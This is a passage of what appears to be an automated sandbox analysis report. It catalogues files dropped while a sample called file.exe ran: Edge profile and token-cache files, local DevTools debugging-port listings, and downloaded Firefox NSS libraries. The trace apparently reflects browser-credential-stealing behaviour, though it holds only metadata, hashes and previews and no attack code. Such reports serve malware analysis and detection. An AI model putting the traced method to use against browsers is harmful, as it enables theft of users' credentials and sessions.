"gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.018771593779723
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclV41:YWLSGTt1o9LuLgfGBPAzkVj/T8lu
MD5:	AFEC4E8F6E5EA1A85A7924CB4F8BB40D
SHA1:	E1A43370F1D2488BD293BB3A1445418B14F6F8AB
SHA-256:	68E78A1CD5CF5AFB74C5DB77E563407838F2285B25952E55386BD4B45D36093C
SHA-512:	8BCD1AE3EFC4C8D98EFB5D31165E890C4781E7099B25488BAD1FB7F6F27691A7727C71038BA44B23F77DD74C95A443EC98E150E4A177FBA2C631F4D46EE712A3
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730385930919430}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c429dc99-1cbc-4662-8e02-8e2ff2cefe32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46454
Entropy (8bit):	6.086355192484018
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgxKFt9Ui1zNtiA99vFJ7FbkTWWhy1DhuCioqJDSgzMMd6qD47j:JMk1rT8HRKcwo014FoqtSmd6qE7j
MD5:	4C94DFFEF72F344D20D7DF49BB65525F
SHA1:	83F29F6B7673D2A9E1289EA318EAF9FB1C2F3C1E
SHA-256:	6173B19D4C1D3E632B8999C158272D2AFD9533209FD8CCBF6BEAAE2D9B69483D
SHA-512:	66BEF85077EB2E75C97FAD8AF7B007D17C099F69F86A002A6FB64F6D68AD30923C1980DB83A0398B7C671EE77509502D848B12DA1939EB8047356E2E51997F84
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374758727811049","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"485b8f87-bfae-4f40-9c4f-a9549473e06e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730285132"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e704ff09-28c4-4519-973d-5fca45667c0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46501
Entropy (8bit):	6.086122922822955
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgxKFtnUi1zNtiA99vFJ7FbkTWWhy1DhuCioqJDSgzMMd6qD47j:JMk1rT8HRKSwo014FoqtSmd6qE7j
MD5:	79261FE3337A3FC38FF8735DB4B26ADF
SHA1:	08BE887322393400D4A61CF80C22B3604D9BBA88
SHA-256:	28F7E7ED032ADCFF47E7C81A4C68EE3245DDBD9B6EBE252B05345EFA0CEB29F6
SHA-512:	7C8A256C5680C81DE36373E16ED989598C190D63C3BFD695AEFE71D1D800C8DB7AE30595FE7D9CE48A18432D9ED23620C3C1E0ABC1B09A165A141DB9E2A2F6E4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374758727811049","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"485b8f87-bfae-4f40-9c4f-a9549473e06e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730285132"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.851396556050611
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxgxl9Il8urMZ8ZI8dVa8nLYNhH0ZlhsOSOFd1rc:mtY9MZ8ZIUVa8cjHohsj
MD5:	CFD752E6C7689E77EA0CBD6A8345AD88
SHA1:	7BD34C6482B32514515189EC7E64B7B045494105
SHA-256:	9155714D82D823E0AA3F7606C82C2F6B57C95125C90C70F52C77DCB2B57D3CB5
SHA-512:	FFB0CAE606EA73DC6112AF486DE70BDFE573078F00050680B8644837968CD7C0E0E09DAFA70F90A91CE78CED71BFF37CD423F758EB6068271A480EC9BF656221
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.P./.x.O.M.E.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.E.D.K.N.K.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.005481193697282
Encrypted:	false
SSDEEP:	96:7CY9MZR0j5marjjZc44Egxq5VUuwd9MVQ9n9e9:7CAfjoarZDCuwniQ99e9
MD5:	150F9D7A2C7AD0EBC4B0AD455887816F
SHA1:	78C0DE392740ECF3D20CE69826B50FD35B097627
SHA-256:	E8FB49D07956AA2D48D415752C0F8D0FBC3FF691BC986467F6ACDFA80AF006C5
SHA-512:	C11D2F508BAE3ADB6CD195AF6CE088022780857158488197C820066C30DF8E40B35BF4A925930D52FE7B9F115A4ECDBC99FCD0361FAC15DC073DE90FA44ACA2D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.G.X.3.H.r.k.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.E.D.K.N.K.v.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.902910007232213
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xexl9Il8urMZJ9DYC8wm+slIgTrG/nwWGlBxqGE03Tp+zSFccd/U:aEY9MZDDny5GoWG9ZTp+mFk
MD5:	19CCD3B957AED15EBA8553BA0E375A0E
SHA1:	C638E61237BAEECE3B326F2540BB3CD0F6AB62B6
SHA-256:	D8361CFD7F763AEF480D6FC23477530959EBC50BFEA83722285FB96484B0C575
SHA-512:	B8E18617E58D57733109F8A5B625E8827C643469F4B54646D3F259F3811A759BFCB77892F32C572F254075A944982571C28A4C951383A93A2ADBB8CEB6976FF1
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Z.c.y.J.T.o.p.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.E.D.K.N.K.v.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.392362914560547
Encrypted:	false
SSDEEP:	96:6NnQ6HQMNnQ0bQ1NnQw9QcNnQLl80l7dgEQLllNnQm7QINnQMDQlNnQEwQhNnQxz:6NDN0NNNs8o7WlNjNJ2NjVNm
MD5:	A489DF267AD85FEF1C949257AC085990
SHA1:	6362B8FF31A3822E2A96E07EF909746271DF1642
SHA-256:	5DFDE20493BF01D6A62E0E106F98AD9E5A8A0BEB6F0CEBBFE41EDB75126B2195
SHA-512:	EDE931E63F0A96A5AF8DF3A6555C4E51BECD448F86AE787BCA8C8118ABAB595262B012653371DC9EBA5725853642ADC57FF05B8F8F01BD134E770267C08DC5D1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E983F4CB656C0A9123C3A449271D05BB",.. "id": "E983F4CB656C0A9123C3A449271D05BB",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E983F4CB656C0A9123C3A449271D05BB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E3B2B3C09943978B9B49FBF1C1A443E5",.. "id": "E3B2B3C09943978B9B49FBF1C1A443E5",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E3B2B3C09943978B9B49FBF1C1A443E5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37547086732235
Encrypted:	false
SSDEEP:	48:SfNaoQxTEQkfNaoQUQ3fNaoQdQEfNaoQbC0UrU0U8Qy:6NnQxTEQQNnQUQvNnQdQwNnQbC0UrU01
MD5:	BF15AF0DBEEEBC1EB691DD64ECB6A359
SHA1:	C7A2F2C869553FCBBC36AE718A1B41F111B47B52
SHA-256:	428779425D674464825F2462519F56EFCC629F0A1B665F135CFEF164671EB6EA
SHA-512:	2EBBF400DABD998111B43F2AB628A55B11ED4E36A556D3D28ACBA2E6D92060F22248857C4B2CCDFAFB019A17F227F2A61D17FAB1195D4F7D506244808336C120
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/64479C967979C0FCF9DEBE48356C5C2E",.. "id": "64479C967979C0FCF9DEBE48356C5C2E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/64479C967979C0FCF9DEBE48356C5C2E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/41B6DD779110D2C5C251BBF69F0FAD52",.. "id": "41B6DD779110D2C5C251BBF69F0FAD52",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/41B6DD779110D2C5C251BBF69F0FAD52"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
